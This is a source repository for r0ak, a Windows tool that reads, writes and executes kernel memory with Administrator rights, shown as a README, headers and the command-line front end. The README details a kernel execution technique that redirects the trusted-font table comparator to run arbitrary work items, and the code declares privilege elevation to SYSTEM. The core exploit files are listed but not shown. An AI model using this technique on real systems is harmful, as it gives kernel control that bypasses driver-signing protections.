├── .gitignore ├── README.md ├── nt.h ├── r0ak-archdiag.png ├── r0ak-demo.png ├── r0ak.c ├── r0ak.h ├── r0ak.sln ├── r0ak.vcxproj ├── r0aketw.c ├── r0akexec.c ├── r0akmem.c ├── r0akrd.c ├── r0akrun.c ├── r0aksym.c ├── r0akutil.c └── r0akwr.c /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015/2017 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # Visual Studio 2017 auto generated files 33 | Generated\ Files/ 34 | 35 | # MSTest test Results 36 | [Tt]est[Rr]esult*/ 37 | [Bb]uild[Ll]og.* 38 | 39 | # NUNIT 40 | *.VisualState.xml 41 | TestResult.xml 42 | 43 | # Build Results of an ATL Project 44 | [Dd]ebugPS/ 45 | [Rr]eleasePS/ 46 | dlldata.c 47 | 48 | # Benchmark Results 49 | BenchmarkDotNet.Artifacts/ 50 | 51 | # .NET Core 52 | project.lock.json 53 | project.fragment.lock.json 54 | artifacts/ 55 | **/Properties/launchSettings.json 56 | 57 | # StyleCop 58 | StyleCopReport.xml 59 | 60 | # Files built by Visual Studio 61 | *_i.c 62 | *_p.c 63 | *_i.h 64 | *.ilk 65 | *.meta 66 | *.obj 67 | *.iobj 68 | *.pch 69 | *.pdb 70 | *.ipdb 71 | *.pgc 72 | *.pgd 73 | *.rsp 74 | *.sbr 75 | *.tlb 76 | *.tli 77 | *.tlh 78 | *.tmp 79 | *.tmp_proj 80 | *.log 81 | *.vspscc 82 | *.vssscc 83 | .builds 84 | *.pidb 85 | *.svclog 86 | *.scc 87 | 88 | # Chutzpah Test files 89 | _Chutzpah* 90 | 91 | # Visual C++ cache files 92 | ipch/ 93 | *.aps 94 | *.ncb 95 | *.opendb 96 | *.opensdf 97 | *.sdf 98 | *.cachefile 99 | *.VC.db 100 | *.VC.VC.opendb 101 | 102 | # Visual Studio profiler 103 | *.psess 104 | *.vsp 105 | *.vspx 106 | *.sap 107 | 108 | # Visual Studio Trace Files 109 | *.e2e 110 | 111 | # TFS 2012 Local Workspace 112 | $tf/ 113 | 114 | # Guidance Automation Toolkit 115 | *.gpState 116 | 117 | # ReSharper is a .NET coding add-in 118 | _ReSharper*/ 119 | *.[Rr]e[Ss]harper 120 | *.DotSettings.user 121 | 122 | # JustCode is a .NET coding add-in 123 | .JustCode 124 | 125 | # TeamCity is a build add-in 126 | _TeamCity* 127 | 128 | # DotCover is a Code Coverage Tool 129 | *.dotCover 130 | 131 | # AxoCover is a Code Coverage Tool 132 | .axoCover/* 133 | !.axoCover/settings.json 134 | 135 | # Visual Studio code coverage results 136 | *.coverage 137 | *.coveragexml 138 | 139 | # NCrunch 140 | _NCrunch_* 141 | .*crunch*.local.xml 142 | nCrunchTemp_* 143 | 144 | # MightyMoose 145 | *.mm.* 146 | AutoTest.Net/ 147 | 148 | # Web workbench (sass) 149 | .sass-cache/ 150 | 151 | # Installshield output folder 152 | [Ee]xpress/ 153 | 154 | # DocProject is a documentation generator add-in 155 | DocProject/buildhelp/ 156 | DocProject/Help/*.HxT 157 | DocProject/Help/*.HxC 158 | DocProject/Help/*.hhc 159 | DocProject/Help/*.hhk 160 | DocProject/Help/*.hhp 161 | DocProject/Help/Html2 162 | DocProject/Help/html 163 | 164 | # Click-Once directory 165 | publish/ 166 | 167 | # Publish Web Output 168 | *.[Pp]ublish.xml 169 | *.azurePubxml 170 | # Note: Comment the next line if you want to checkin your web deploy settings, 171 | # but database connection strings (with potential passwords) will be unencrypted 172 | *.pubxml 173 | *.publishproj 174 | 175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 176 | # checkin your Azure Web App publish settings, but sensitive information contained 177 | # in these scripts will be unencrypted 178 | PublishScripts/ 179 | 180 | # NuGet Packages 181 | *.nupkg 182 | # The packages folder can be ignored because of Package Restore 183 | **/[Pp]ackages/* 184 | # except build/, which is used as an MSBuild target. 185 | !**/[Pp]ackages/build/ 186 | # Uncomment if necessary however generally it will be regenerated when needed 187 | #!**/[Pp]ackages/repositories.config 188 | # NuGet v3's project.json files produces more ignorable files 189 | *.nuget.props 190 | *.nuget.targets 191 | 192 | # Microsoft Azure Build Output 193 | csx/ 194 | *.build.csdef 195 | 196 | # Microsoft Azure Emulator 197 | ecf/ 198 | rcf/ 199 | 200 | # Windows Store app package directories and files 201 | AppPackages/ 202 | BundleArtifacts/ 203 | Package.StoreAssociation.xml 204 | _pkginfo.txt 205 | *.appx 206 | 207 | # Visual Studio cache files 208 | # files ending in .cache can be ignored 209 | *.[Cc]ache 210 | # but keep track of directories ending in .cache 211 | !*.[Cc]ache/ 212 | 213 | # Others 214 | ClientBin/ 215 | ~$* 216 | *~ 217 | *.dbmdl 218 | *.dbproj.schemaview 219 | *.jfm 220 | *.pfx 221 | *.publishsettings 222 | orleans.codegen.cs 223 | 224 | # Including strong name files can present a security risk 225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 226 | #*.snk 227 | 228 | # Since there are multiple workflows, uncomment next line to ignore bower_components 229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 230 | #bower_components/ 231 | 232 | # RIA/Silverlight projects 233 | Generated_Code/ 234 | 235 | # Backup & report files from converting an old project file 236 | # to a newer Visual Studio version. Backup files are not needed, 237 | # because we have git ;-) 238 | _UpgradeReport_Files/ 239 | Backup*/ 240 | UpgradeLog*.XML 241 | UpgradeLog*.htm 242 | ServiceFabricBackup/ 243 | *.rptproj.bak 244 | 245 | # SQL Server files 246 | *.mdf 247 | *.ldf 248 | *.ndf 249 | 250 | # Business Intelligence projects 251 | *.rdl.data 252 | *.bim.layout 253 | *.bim_*.settings 254 | *.rptproj.rsuser 255 | 256 | # Microsoft Fakes 257 | FakesAssemblies/ 258 | 259 | # GhostDoc plugin setting file 260 | *.GhostDoc.xml 261 | 262 | # Node.js Tools for Visual Studio 263 | .ntvs_analysis.dat 264 | node_modules/ 265 | 266 | # Visual Studio 6 build log 267 | *.plg 268 | 269 | # Visual Studio 6 workspace options file 270 | *.opt 271 | 272 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 273 | *.vbw 274 | 275 | # Visual Studio LightSwitch build output 276 | **/*.HTMLClient/GeneratedArtifacts 277 | **/*.DesktopClient/GeneratedArtifacts 278 | **/*.DesktopClient/ModelManifest.xml 279 | **/*.Server/GeneratedArtifacts 280 | **/*.Server/ModelManifest.xml 281 | _Pvt_Extensions 282 | 283 | # Paket dependency manager 284 | .paket/paket.exe 285 | paket-files/ 286 | 287 | # FAKE - F# Make 288 | .fake/ 289 | 290 | # JetBrains Rider 291 | .idea/ 292 | *.sln.iml 293 | 294 | # CodeRush 295 | .cr/ 296 | 297 | # Python Tools for Visual Studio (PTVS) 298 | __pycache__/ 299 | *.pyc 300 | 301 | # Cake - Uncomment if you are using it 302 | # tools/** 303 | # !tools/packages.config 304 | 305 | # Tabs Studio 306 | *.tss 307 | 308 | # Telerik's JustMock configuration file 309 | *.jmconfig 310 | 311 | # BizTalk build output 312 | *.btp.cs 313 | *.btm.cs 314 | *.odx.cs 315 | *.xsd.cs 316 | 317 | # OpenCover UI analysis results 318 | OpenCover/ 319 | 320 | # Azure Stream Analytics local run output 321 | ASALocalRun/ 322 | 323 | # MSBuild Binary and Structured Log 324 | *.binlog 325 | 326 | # NVidia Nsight GPU debugger configuration file 327 | *.nvuser 328 | 329 | # MFractors (Xamarin productivity tool) working folder 330 | .mfractor/ 331 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # r0ak![Downloads](https://img.shields.io/github/downloads/atom/atom/total.svg) 2 | 3 | r0ak is a Windows command-line utility that enables you to easily read, write, and execute kernel-mode code (with some limitations) from the command prompt, without requiring anything else other than Administrator privileges. 4 | 5 | ## Quick Peek 6 | 7 | ``` 8 | r0ak v1.0.0 -- Ring 0 Army Knife 9 | http://www.github.com/ionescu007/r0ak 10 | Copyright (c) 2018 Alex Ionescu [@aionescu] 11 | http://www.windows-internals.com 12 | 13 | USAGE: r0ak.exe 14 | [--execute
] 15 | [--write
] 16 | [--read
] 17 | ``` 18 | 19 | ![Screenshot](r0ak-demo.png) 20 | 21 | ## Introduction 22 | 23 | ### Motivation 24 | 25 | The Windows kernel is a rich environment in which hundreds of drivers execute on a typical system, and where thousands of variables containing global state are present. For advanced troubleshooting, IT experts will typically use tools such as the Windows Debugger (WinDbg), SysInternals Tools, or write their own. Unfortunately, usage of these tools is getting increasingly hard, and they are themselves limited by their own access to Windows APIs and exposed features. 26 | 27 | Some of today's challenges include: 28 | 29 | * Windows 8 and later support Secure Boot, which prevents kernel debugging (including local debugging) and loading of test-signed driver code. This restricts troubleshooting tools to those that have a signed kernel-mode driver. 30 | * Even on systems without Secure Boot enabled, enabling local debugging or changing boot options which ease debugging capabilities will often trigger BitLocker's recovery mode. 31 | * Windows 10 Anniversary Update and later include much stricter driver signature requirements, which now enforce Microsoft EV Attestation Signing. This restricts the freedom of software developers as generic "read-write-everything" drivers are frowned upon. 32 | * Windows 10 Spring Update now includes customer-facing options for enabling HyperVisor Code Integrity (HVCI) which further restricts allowable drivers and blacklists multiple 3rd party drivers that had "read-write-everything" capabilities due to poorly written interfaces and security risks. 33 | * Technologies like Supervisor Mode Execution Prevention (SMEP), Kernel Control Flow Guard (KCFG) and HVCI with Second Level Address Translation (SLAT) are making traditional Ring 0 execution 'tricks' obsoleted, so a new approach is needed. 34 | 35 | In such an environment, it was clear that a simple tool which can be used as an emergency band-aid/hotfix and to quickly troubleshoot kernel/system-level issues which may be apparent by analyzing kernel state might be valuable for the community. 36 | 37 | ### How it Works 38 | 39 | #### Basic Architecture 40 | 41 | ![Diagram](r0ak-archdiag.png) 42 | 43 | r0ak works by redirecting the execution flow of the window manager's trusted font validation checks when attempting to load a new font, by replacing the trusted font table's comparator routine with an alternate function which schedules an executive work item (`WORK_QUEUE_ITEM`) stored in the input node. Then, the trusted font table's right child (which serves as the root node) is overwritten with a named pipe's write buffer (`NP_DATA_ENTRY`) in which a custom work item is stored. This item's underlying worker function and its parameter are what will eventually be executed by a dedicated `ExpWorkerThread` at `PASSIVE_LEVEL` once a font load is attempted and the comparator routine executes, receiving the name pipe-backed parent node as its input. A real-time Event Tracing for Windows (ETW) trace event is used to receive an asynchronous notification that the work item has finished executing, which makes it safe to tear down the structures, free the kernel-mode buffers, and restore normal operation. 44 | 45 | #### Supported Commands 46 | 47 | When using the `--execute` option, this function and parameter are supplied by the user. 48 | 49 | When using `--write`, a custom gadget is used to modify arbitrary 32-bit values anywhere in kernel memory. 50 | 51 | When using `--read`, the write gadget is used to modify the system's HSTI buffer pointer and size (__**N.B.: This is destructive behavior in terms of any other applications that will request the HSTI data. As this is optional Windows behavior, and this tool is meant for emergency debugging/experimentation, this loss of data was considered acceptable**__). Then, the HSTI Query API is used to copy back into the tool's user-mode address space, and a hex dump is shown. 52 | 53 | Because only built-in, Microsoft-signed, Windows functionality is used, and all called functions are part of the KCFG bitmap, there is no violation of any security checks, and no debugging flags are required, or usage of 3rd party poorly-written drivers. 54 | 55 | ### FAQ 56 | 57 | #### Is this a bug/vulnerability in Windows? 58 | 59 | No. Since this tool -- and the underlying technique -- require a SYSTEM-level privileged token, which can only be obtained by a user running under the Administrator account, no security boundaries are being bypassed in order to achieve the effect. The behavior and utility of the tool is only possible due to the elevated/privileged security context of the Administrator account on Windows, and is understood to be a by-design behavior. 60 | 61 | #### Was Microsoft notified about this behavior? 62 | 63 | Of course! It's important to always file security issues with Microsoft even when no violation of privileged boundaries seems to have occurred -- their teams of researchers and developers might find novel vectors and ways to reach certain code paths which an external researcher may not have thought of. 64 | 65 | As such, in November 2014, a security case was filed with the Microsoft Security Research Centre (MSRC) which responded: 66 | "*[…] doesn't fall into the scope of a security issue we would address via our traditional Security Bulletin vehicle. It […] pre-supposes admin privileges -- a place where architecturally, we do not currently define a defensible security boundary. As such, we won't be pursuing this to fix.*" 67 | 68 | Furthermore, in April 2015 at the Infiltrate conference, a talk titled *Insection : AWEsomely Exploiting Shared Memory Objects* was presented detailing this issue, including to Microsoft developers in attendance, which agreed this was currently out of scope of Windows's architectural security boundaries. This is because there are literally dozens -- if not more -- of other ways an Administrator can read/write/execute Ring 0 memory. This tool merely allows an easy commodification of one such vector, for purposes of debugging and troubleshooting system issues. 69 | 70 | #### Can't this be packaged up as part of end-to-end attack/exploit kit? 71 | 72 | Packaging this code up as a library would require carefully removing all interactive command-line parsing and standard output, at which point, without major rewrites, the 'kit' would: 73 | 74 | * Require the target machine to be running Windows 10 Anniversary Update x64 or later 75 | * Have already elevated privileges to SYSTEM 76 | * Require an active Internet connection with a proxy/firewall allowing access to Microsoft's Symbol Server 77 | * Require the Windows SDK/WDK installed on the target machine 78 | * Require a sensible _NT_SYMBOL_PATH environment variable to have been configured on the target machine, and for about 15MB of symbol data to be downloaded and cached as PDB files somewhere on the disk 79 | 80 | Attackers interested in using this particular approach -- versus very many others more cross-compatible, no-SYSTEM-right-requiring techniques -- likely already adapted their own code based on the Proof-of-Concept from April 2015 -- more than 3 years ago. 81 | 82 | ## Usage 83 | 84 | ### Requirements 85 | 86 | Due to the usage of the Windows Symbol Engine, you must have either the Windows Software Development Kit (SDK) or Windows Driver Kit (WDK) installed with the Debugging Tools for Windows. The tool will lookup your installation path automatically, and leverage the `DbgHelp.dll` and `SymSrv.dll` that are present in that directory. As these files are not re-distributable, they cannot be included with the release of the tool. 87 | 88 | Alternatively, if you obtain these libraries on your own, you can modify the source-code to use them. 89 | 90 | Usage of symbols requires an Internet connection, unless you have pre-cached them locally. Additionally, you should setup the `_NT_SYMBOL_PATH` variable pointing to an appropriate symbol server and cached location. 91 | 92 | It is assumed that an IT Expert or other troubleshooter which apparently has a need to read/write/execute kernel memory (and has knowledge of the appropriate kernel variables to access) is already more than intimately familiar with the above setup requirements. Please do not file issues asking what the SDK is or how to set an environment variable. 93 | 94 | ### Use Cases 95 | 96 | * Some driver leaked kernel pool? Why not call `ntoskrnl.exe!ExFreePool` and pass in the kernel address that's leaking? What about an object reference? Go call `ntoskrnl.exe!ObfDereferenceObject` and have that cleaned up. 97 | 98 | * Want to dump the kernel DbgPrint log? Why not dump the internal circular buffer at `ntoskrnl.exe!KdPrintCircularBuffer` 99 | 100 | * Wondering how big the kernel stacks are on your machine? Try looking at `ntoskrnl.exe!KeKernelStackSize` 101 | 102 | * Want to dump the system call table to look for hooks? Go print out `ntoskrnl.exe!KiServiceTable` 103 | 104 | These are only a few examples -- all Ring 0 addresses are accepted, either by `module!symbol` syntax or directly passing the kernel pointer if known. The Windows Symbol Engine is used to look these up. 105 | 106 | ### Limitations 107 | 108 | The tool requires certain kernel variables and functions that are only known to exist in modern versions of Windows 10, and was only meant to work on 64-bit systems. These limitations are due to the fact that on older systems (or x86 systems), these stricter security requirements don't exist, and as such, more traditional approaches can be used instead. This is a personal tool which I am making available, and I had no need for these older systems, where I could use a simple driver instead. That being said, this repository accepts pull requests, if anyone is interested in porting it. 109 | 110 | Secondly, due to the use cases and my own needs, the following restrictions apply: 111 | * Reads -- Limited to 4 GB of data at a time 112 | * Writes -- Limited to 32-bits of data at a time 113 | * Executes -- Limited to functions which only take 1 scalar parameter 114 | 115 | Obviously, these limitations could be fixed by programmatically choosing a different approach, but they fit the needs of a command line tool and my use cases. Again, pull requests are accepted if others wish to contribute their own additions. 116 | 117 | Note that all execution (including execution of the `--read` and `--write` commands) occurs in the context of a System Worker Thread at `PASSIVE_LEVEL`. Therefore, user-mode addresses should not be passed in as parameters/arguments. 118 | 119 | ## Contributing 120 | 121 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. 122 | 123 | ## License 124 | ``` 125 | Copyright 2018 Alex Ionescu. All rights reserved. 126 | 127 | Redistribution and use in source and binary forms, with or without modification, are permitted provided 128 | that the following conditions are met: 129 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and 130 | the following disclaimer. 131 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions 132 | and the following disclaimer in the documentation and/or other materials provided with the 133 | distribution. 134 | 135 | THIS SOFTWARE IS PROVIDED BY ALEX IONESCU ``AS IS'' AND ANY EXPRESS OR IMPLIED 136 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 137 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ALEX IONESCU 138 | OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 139 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 140 | OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 141 | AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 142 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 143 | ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 144 | 145 | The views and conclusions contained in the software and documentation are those of the authors and 146 | should not be interpreted as representing official policies, either expressed or implied, of Alex Ionescu. 147 | -------------------------------------------------------------------------------- /nt.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | nt.h 8 | 9 | Abstract: 10 | 11 | This header defines internal NT data structures and routines used by r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include 24 | 25 | NTSYSAPI 26 | NTSTATUS 27 | NTAPI 28 | RtlAdjustPrivilege ( 29 | _In_ ULONG Privilege, 30 | _In_ BOOLEAN NewValue, 31 | _In_ BOOLEAN ForThread, 32 | _Out_ PBOOLEAN OldValue 33 | ); 34 | 35 | NTSYSAPI 36 | NTSTATUS 37 | NTAPI 38 | ZwOpenSection ( 39 | _Out_ PHANDLE SectionHandle, 40 | _In_ ACCESS_MASK DesiredAccess, 41 | _In_ POBJECT_ATTRIBUTES ObjectAttributes 42 | ); 43 | 44 | typedef struct _WORK_QUEUE_ITEM 45 | { 46 | LIST_ENTRY List; 47 | PVOID WorkerRoutine; 48 | PVOID Parameter; 49 | } WORK_QUEUE_ITEM, *PWORK_QUEUE_ITEM; 50 | 51 | typedef struct _RTL_BALANCED_LINKS 52 | { 53 | struct _RTL_BALANCED_LINKS *Parent; 54 | struct _RTL_BALANCED_LINKS *LeftChild; 55 | struct _RTL_BALANCED_LINKS *RightChild; 56 | CHAR Balance; 57 | UCHAR Reserved[3]; 58 | } RTL_BALANCED_LINKS; 59 | typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; 60 | 61 | typedef struct _RTL_AVL_TABLE 62 | { 63 | RTL_BALANCED_LINKS BalancedRoot; 64 | PVOID OrderedPointer; 65 | ULONG WhichOrderedElement; 66 | ULONG NumberGenericTableElements; 67 | ULONG DepthOfTree; 68 | PRTL_BALANCED_LINKS RestartKey; 69 | ULONG DeleteCount; 70 | PVOID CompareRoutine; 71 | PVOID AllocateRoutine; 72 | PVOID FreeRoutine; 73 | PVOID TableContext; 74 | } RTL_AVL_TABLE; 75 | typedef RTL_AVL_TABLE *PRTL_AVL_TABLE; 76 | 77 | typedef struct tagXSGLOBALS 78 | { 79 | PVOID NetworkFontsTableLock; 80 | PRTL_AVL_TABLE NetworkFontsTable; 81 | PVOID TrustedFontsTableLock; 82 | PRTL_AVL_TABLE TrustedFontsTable; 83 | } XSGLOBALS, *PXSGLOBALS; 84 | 85 | #pragma warning(push) 86 | #pragma warning(disable:4214) 87 | #pragma warning(disable:4201) 88 | typedef struct _SYSTEM_BIGPOOL_ENTRY 89 | { 90 | union 91 | { 92 | PVOID VirtualAddress; 93 | ULONG_PTR NonPaged : 1; 94 | }; 95 | ULONGLONG SizeInBytes; 96 | union 97 | { 98 | UCHAR Tag[4]; 99 | ULONG TagUlong; 100 | }; 101 | } SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; 102 | #pragma warning(pop) 103 | 104 | typedef struct _SYSTEM_BIGPOOL_INFORMATION 105 | { 106 | ULONG Count; 107 | SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY]; 108 | } SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; 109 | 110 | #define SE_DEBUG_PRIVILEGE 20 111 | #define SystemBigPoolInformation (SYSTEM_INFORMATION_CLASS)66 112 | #define SystemHardwareSecurityTestInterfaceResultsInformation (SYSTEM_INFORMATION_CLASS)166 113 | #define PERF_WORKER_THREAD 0x48000000 114 | #define EVENT_TRACE_GROUP_THREAD 0x0500 115 | #define PERFINFO_LOG_TYPE_WORKER_THREAD_ITEM_END (EVENT_TRACE_GROUP_THREAD | 0x41) 116 | 117 | -------------------------------------------------------------------------------- /r0ak-archdiag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codingtest/r0ak/919338f4e88036c6a46a3a839f409efe38852415/r0ak-archdiag.png -------------------------------------------------------------------------------- /r0ak-demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codingtest/r0ak/919338f4e88036c6a46a3a839f409efe38852415/r0ak-demo.png -------------------------------------------------------------------------------- /r0ak.c: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0ak.c 8 | 9 | Abstract: 10 | 11 | This module implements the main command line interface for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #include "r0ak.h" 24 | 25 | _Success_(return != 0) 26 | BOOL 27 | CmdParseInputParameters ( 28 | _In_ PCHAR Arguments[], 29 | _Out_ PVOID* Function, 30 | _Out_ PULONG_PTR FunctionArgument 31 | ) 32 | { 33 | PVOID functionPointer; 34 | PCHAR moduleName, functionName, pBang, functionNameAndModule; 35 | 36 | // 37 | // Check if the user passed in a module!function instead 38 | // 39 | functionPointer = (PVOID)strtoull(Arguments[2], NULL, 0); 40 | if (functionPointer == NULL) 41 | { 42 | // 43 | // Separate out the module name from the symbol name 44 | // 45 | functionNameAndModule = Arguments[2]; 46 | pBang = strchr(functionNameAndModule, '!'); 47 | if (pBang == NULL) 48 | { 49 | printf("[-] Malformed symbol string: %s\n", 50 | Arguments[2]); 51 | return FALSE; 52 | } 53 | 54 | // 55 | // Now get the remaining function name 56 | // 57 | functionName = pBang + 1; 58 | *pBang = ANSI_NULL; 59 | moduleName = functionNameAndModule; 60 | 61 | // 62 | // Get the symbol requested 63 | // 64 | functionPointer = SymLookup(moduleName, functionName); 65 | if (functionPointer == NULL) 66 | { 67 | printf("[-] Could not find symbol!\n"); 68 | return FALSE; 69 | } 70 | } 71 | 72 | // 73 | // Return the data back 74 | // 75 | *Function = functionPointer; 76 | *FunctionArgument = strtoull(Arguments[3], NULL, 0); 77 | return TRUE; 78 | } 79 | 80 | INT 81 | main ( 82 | _In_ INT ArgumentCount, 83 | _In_ PCHAR Arguments[] 84 | ) 85 | { 86 | PKERNEL_EXECUTE kernelExecute; 87 | BOOL b; 88 | ULONG_PTR kernelValue; 89 | PVOID kernelPointer; 90 | INT errValue; 91 | 92 | // 93 | // Print header 94 | // 95 | printf("r0ak v1.0.0 -- Ring 0 Army Knife\n"); 96 | printf("http://www.github.com/ionescu007/r0ak\n"); 97 | printf("Copyright (c) 2018 Alex Ionescu [@aionescu]\n"); 98 | printf("http://www.windows-internals.com\n\n"); 99 | kernelExecute = NULL; 100 | errValue = -1; 101 | 102 | // 103 | // We need four arguments 104 | // 105 | if (ArgumentCount != 4) 106 | { 107 | printf("USAGE: r0ak.exe\n" 108 | " [--execute
]\n" 109 | " [--write
]\n" 110 | " [--read
]\n"); 111 | goto Cleanup; 112 | } 113 | 114 | // 115 | // Initialize symbol engine 116 | // 117 | b = SymSetup(); 118 | if (b == FALSE) 119 | { 120 | printf("[-] Failed to initialize Symbol Engine\n"); 121 | goto Cleanup; 122 | } 123 | 124 | // 125 | // Initialize our execution engine 126 | // 127 | b = KernelExecuteSetup(&kernelExecute, g_TrampolineFunction); 128 | if (b == FALSE) 129 | { 130 | printf("[-] Failed to setup Ring 0 execution engine\n"); 131 | goto Cleanup; 132 | } 133 | 134 | // 135 | // Caller wants to execute their own routine 136 | // 137 | if (strstr(Arguments[1], "--execute")) 138 | { 139 | // 140 | // Get the initial inputs 141 | // 142 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue); 143 | if (b == FALSE) 144 | { 145 | goto Cleanup; 146 | } 147 | 148 | // 149 | // Execute it 150 | // 151 | b = CmdExecuteKernel(kernelExecute, kernelPointer, kernelValue); 152 | if (b == FALSE) 153 | { 154 | printf("[-] Failed to execute function\n"); 155 | goto Cleanup; 156 | } 157 | 158 | // 159 | // It's now safe to exit/cleanup state 160 | // 161 | printf("[+] Function executed successfuly!\n"); 162 | errValue = 0; 163 | } 164 | else if (strstr(Arguments[1], "--write")) 165 | { 166 | // 167 | // Get the initial inputs 168 | // 169 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue); 170 | if (b == FALSE) 171 | { 172 | goto Cleanup; 173 | } 174 | 175 | // 176 | // Only 32-bit values can be written 177 | // 178 | if (kernelValue > ULONG_MAX) 179 | { 180 | printf("[-] Invalid 64-bit value, r0ak only supports 32-bit\n"); 181 | goto Cleanup; 182 | } 183 | 184 | // 185 | // Write it! 186 | // 187 | b = CmdWriteKernel(kernelExecute, kernelPointer, (ULONG)kernelValue); 188 | if (b == FALSE) 189 | { 190 | printf("[-] Failed to write variable\n"); 191 | goto Cleanup; 192 | } 193 | 194 | // 195 | // It's now safe to exit/cleanup state 196 | // 197 | printf("[+] Write executed successfuly!\n"); 198 | errValue = 0; 199 | } 200 | else if (strstr(Arguments[1], "--read")) 201 | { 202 | // 203 | // Get the initial inputs 204 | // 205 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue); 206 | if (b == FALSE) 207 | { 208 | goto Cleanup; 209 | } 210 | 211 | // 212 | // Only 4GB of data can be read 213 | // 214 | if (kernelValue > ULONG_MAX) 215 | { 216 | printf("[-] Invalid size, r0ak can only read up to 4GB of data\n"); 217 | goto Cleanup; 218 | } 219 | 220 | 221 | // 222 | // Write it! 223 | // 224 | b = CmdReadKernel(kernelExecute, kernelPointer, (ULONG)kernelValue); 225 | if (b == FALSE) 226 | { 227 | printf("[-] Failed to read variable\n"); 228 | goto Cleanup; 229 | } 230 | 231 | // 232 | // It's now safe to exit/cleanup state 233 | // 234 | printf("[+] Read executed successfuly!\n"); 235 | errValue = 0; 236 | } 237 | 238 | Cleanup: 239 | // 240 | // Teardown the execution engine if we initialized it 241 | // 242 | if (kernelExecute != NULL) 243 | { 244 | KernelExecuteTeardown(kernelExecute); 245 | } 246 | return errValue; 247 | } 248 | -------------------------------------------------------------------------------- /r0ak.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Alex Ionescu. All rights reserved. 4 | 5 | Module Name: 6 | 7 | r0ak.h 8 | 9 | Abstract: 10 | 11 | This header defines the main routines and structures for r0ak 12 | 13 | Author: 14 | 15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version 16 | 17 | Environment: 18 | 19 | User mode only. 20 | 21 | --*/ 22 | 23 | #define UNICODE 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include "nt.h" 35 | 36 | // 37 | // Symbols provided by the symbol engine 38 | // 39 | extern PVOID g_XmFunction; 40 | extern PVOID g_HstiBufferSize; 41 | extern PVOID g_HstiBufferPointer; 42 | extern PVOID g_TrampolineFunction; 43 | 44 | // 45 | // Opaque to callers 46 | // 47 | typedef struct _KERNEL_ALLOC *PKERNEL_ALLOC; 48 | typedef struct _KERNEL_EXECUTE *PKERNEL_EXECUTE; 49 | typedef struct _ETW_DATA *PETW_DATA; 50 | 51 | // 52 | // Symbol Routines 53 | // 54 | _Success_(return != 0) 55 | PVOID 56 | SymLookup ( 57 | _In_ PCHAR ModuleName, 58 | _In_ PCHAR SymbolName 59 | ); 60 | 61 | _Success_(return != 0) 62 | BOOL 63 | SymSetup ( 64 | VOID 65 | ); 66 | 67 | // 68 | // Utility Routines 69 | // 70 | VOID 71 | DumpHex ( 72 | _In_ LPCVOID Data, 73 | _In_ SIZE_T Size 74 | ); 75 | 76 | _Success_(return != 0) 77 | ULONG_PTR 78 | GetDriverBaseAddr ( 79 | _In_ PCCH BaseName 80 | ); 81 | 82 | _Success_(return != 0) 83 | BOOL 84 | ElevateToSystem ( 85 | VOID 86 | ); 87 | 88 | // 89 | // Kernel Memory Routines 90 | // 91 | 